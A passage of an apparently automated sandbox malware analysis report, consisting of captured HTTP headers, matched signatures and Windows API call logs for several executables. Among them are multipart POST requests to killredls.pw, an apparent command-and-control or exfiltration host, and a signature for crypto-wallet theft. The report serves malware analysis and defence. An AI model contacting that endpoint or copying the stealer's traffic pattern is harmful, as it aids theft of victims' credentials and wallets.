*/*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk78npkEGIa84czXqQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk78npkEGIa84czXqQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk78npkEGIa84czXqQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk78npkEGIa84czXqQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Cache-Control: max-age = 14400Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Cache-Control: max-age = 14400Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Cache-Control: max-age = 14400Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Cache-Control: max-age = 14400Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "//MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1" in header "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1%2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDkpMNIK3fw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: o.ss2.us" Contains base64 string in header "Keep" in header "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1%2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDkpMNIK3fw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: o.ss2.us" Contains base64 string in header "User" in header "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1%2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDkpMNIK3fw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: o.ss2.us" Contains base64 string in header "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base64 string in header "2BsKuKwH5CO65xMY" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base64 string in header "Keep" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base64 string in header "User" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base64 string in header "ocsp" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base64 string in header "Keep" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base64 string in header "User" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base64 string in header "ocsp" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base64 string in header "/rootca1" in header "GET /rootca1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.rootca1.amazontrust.com" Contains base64 string in header "Keep" in header "GET /rootca1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.rootca1.amazontrust.com" Contains base64 string in header "User" in header "GET /rootca1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.rootca1.amazontrust.com" Contains base64 string in header "Keep" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDVmzu%2BcVBN4gnIj8OT7hC4 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDVmzu%2BcVBN4gnIj8OT7hC4 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDVmzu%2BcVBN4gnIj8OT7hC4 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDVmzu%2BcVBN4gnIj8OT7hC4 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "2Bmc" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAxnRZO2jQMmUC0dFSq96X0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m02.amazontrust.com" Contains base64 string in header "2BXrrguICEAxnRZO2jQMmUC0dFSq96X0" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAxnRZO2jQMmUC0dFSq96X0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m02.amazontrust.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAxnRZO2jQMmUC0dFSq96X0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m02.amazontrust.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAxnRZO2jQMmUC0dFSq96X0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m02.amazontrust.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAxnRZO2jQMmUC0dFSq96X0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m02.amazontrust.com" Contains base64 string in header "Keep" in header "GET /r2m02.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.r2m02.amazontrust.com" Contains base64 string in header "User" in header "GET /r2m02.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.r2m02.amazontrust.com" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 8Host: killredls.pw" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 8Host: killredls.pw" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 8Host: killredls.pw" Contains base64 string in header "AliveContent" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 8Host: killredls.pw" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 8Host: killredls.pw" Contains base64 string in header "form" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 8Host: killredls.pw" Contains base64 string in header "like" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 8Host: killredls.pw" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Host: killredls.pwContent-Length: 52Cache-Control: no-cache" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Host: killredls.pwContent-Length: 52Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Host: killredls.pwContent-Length: 52Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Host: killredls.pwContent-Length: 52Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Host: killredls.pwContent-Length: 52Cache-Control: no-cache" Contains base64 string in header "like" in header "POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Host: killredls.pwContent-Length: 52Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw" Contains base64 string in header "AliveContent" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw" Contains base64 string in header "data" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw" Contains base64 string in header "like" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw"2f:T4ad,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to decrypt/decode data Matched sigs: Contains ability to use Cryptographic classes Matched sigs: PCAP contains base64 strings Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Decrypted SSL network traffic Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to decode base64 data Matched sigs: Calls an API typically to import cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: Tries to steal Crypto currency wallets information (file access) Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: HTTP requests contain Base64 strings Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: Sample file has high entropy (likely encrypted/compressed content)30:T2793,"fa951d632a6b1c8efb577fc5b43a64b5.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003396) "Ia3cO08.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004012) "QX6jY18.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003072) "Qb7Pk11.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003344) "1gT33kS4.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003628) "1gT33kS4.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff0400007b6c00dea80266ffcc0499ffff04ccffff04f0dda80200007b6c0000000001000000 (UID: 00000000-00003628) "1gT33kS4.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003628) "1gT33kS4.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff0400007b6cc0dd2b0466ffcc0499ffff04ccffff04b0dd2b0400007b6c0000000001000000 (UID: 00000000-00003628) "1gT33kS4.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff0400007b6c40e51d0466ffcc0499ffff04ccffff0430e51d0400007b6c0000000001000000 (UID: 00000000-00003628) "1gT33kS4.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003628) "1gT33kS4.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000001011ea27a0cde98e4a8022a9d59750000000024836e7504000000000000000000000014f6a80200000000e79c597502000780acdea8020000000076000000fcdea802feffffff84dea802cf00ee76d600ee7629a55274760000003b000000fcdea8026f006e0058dea8026e007400c0dea802 (UID: 00000000-00003628) "1gT33kS4.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff0400007b6c00df170466ffcc0499ffff04ccffff04f0de170400007b6c0000000001000000 (UID: 00000000-00003628) "1gT33kS4.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff0400007b6c40e0180466ffcc0499ffff04ccffff0430e0180400007b6c0000000001000000 (UID: 00000000-00003628) "1gT33kS4.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff0400007b6ce0dd340466ffcc0499ffff04ccffff04d0dd340400007b6c0000000001000000 (UID: 00000000-00003628) "2iq2723.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002516) "AppLaunch.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000084ed30000000000076000000d4ed3000feffffff5ced3000cf00ee76d600ee76b830d576760000003b000000d4ed30000000000030ed30000000000098ed3000 (UID: 00000000-00003484)31:T1906,"1gT33kS4.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 